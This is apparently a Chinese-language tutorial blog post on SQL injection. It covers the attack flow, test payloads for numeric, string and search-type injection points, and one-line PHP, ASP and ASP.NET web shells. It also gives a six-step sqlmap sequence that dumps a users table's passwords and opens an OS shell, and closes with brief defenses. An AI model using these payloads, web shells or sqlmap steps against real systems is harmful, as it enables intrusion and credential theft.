常見漏洞-SQL注入以及相關知識點

打造自己的理論體系

1、SQL Inject漏洞概述

在owasp發佈的top 10漏洞裏面,注入漏洞一直都是危害第一,其中主要是數據庫注入漏洞。

數據庫注入漏洞,主要是開發人員在構建代碼時候,沒有對輸入邊界進行恰當的過濾,則可能使得攻擊者通過構造惡意的SQL語句到字段中,從而到達欺騙後臺數據庫的目的,進而數據庫信息泄露的一種漏洞。

2、SQL Inject攻擊流程

第一步:發現注入點
自動方式:使用web漏洞掃描工具,自動進行注入點發現
手工方式:通過構建特殊的SQL語句進行注入點發現

第二步:信息獲取
通過注入點的實現得到期望的數據,比如:
環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等。
數據庫信息:通過kali工具sqlmap獲取數據庫表名,數據庫表,數據庫表字段,數據庫表字段內容。
第三步:進行權限提升
獲取root權限,通過數據庫執行shell,上傳木馬。

3、注入檢測

SQL注入分類可以分爲:

  • 盲注:布爾盲注/時間盲注
  • 報錯注入:應用會顯示全部或者部分的報錯信息
  • 堆疊注入:有的應用可以加入後一次執行多條語句
  • 其他

注入點判斷:數字型
數字型注入:http://www.xxx.com/?id=6 (and 1=1 /and 1=2)
單引號測試:http://www.xxx.com/?id= ’
注入點判斷:字符型
字符型注入:http://www.xxx.com/?id=8’ and 1=1-- (–後面需要有空格)
注入點判斷:搜索型
搜索型注入:http://xxx/search.php?search=
eg;輸入1% and 1=1 --或者1%' and '%1%' = '%2

總結,就是對SQL中的各種類型的輸入進行閉合測試,構造合法SQL語句,欺騙後臺執行操作。

4、一句話木馬,中國菜刀

一句話木馬是一種短小而精悍的木馬客戶端,隱蔽性好,且功能強大。
PHP:<?php @eval($_POST['password']):?>
ASP:<%eval request("password")%>
ASP.NET:<%@Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

5、SQLmap使用-經典6步法

第一步:

-u “http://www.xxx.com” --cookie="yyy"   //帶上cookie對URL進行注入探測

第二步:

-u “http://www.xxx.com” --cookie="yyy" -current-db  //對數據庫名進行獲取

第三步:

-u “http://www.xxx.com” --cookie="yyy" -D dvwa --tables  //對數據庫dvwa的表名進行枚舉

第四步:

-u “http://www.xxx.com” --cookie="yyy" -D dvwa -T users --columns  //對dvwa庫裏面的名爲users表的列名進行枚舉

第五步:

-u “http://www.xxx.com” --cookie="yyy" -D dvwa -T users -C name password --dump //探測users表中name和password字段,然後爆破

第六步:

-u “http://www.xxx.com” --cookie="yyy" --os-shell //獲取shell

補充

--help //顯示幫助信息
-v x // x=0~6 不同級別顯示不同程序的過程信息,數值越大,越詳細
--dbs //顯示所有的數據庫
--users  //顯示當前登陸的用戶名
--purge--output //清除之前的緩存日誌
--password  //對爆破出來的密碼進行枚舉

6、SQL Inject防範措施

  • 對代碼層面
    對輸入進行嚴格的轉化和過濾
    使用參數化
  • 網絡層面
    通過WAF設備啓用防SQL注入的策略
    雲端防護
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章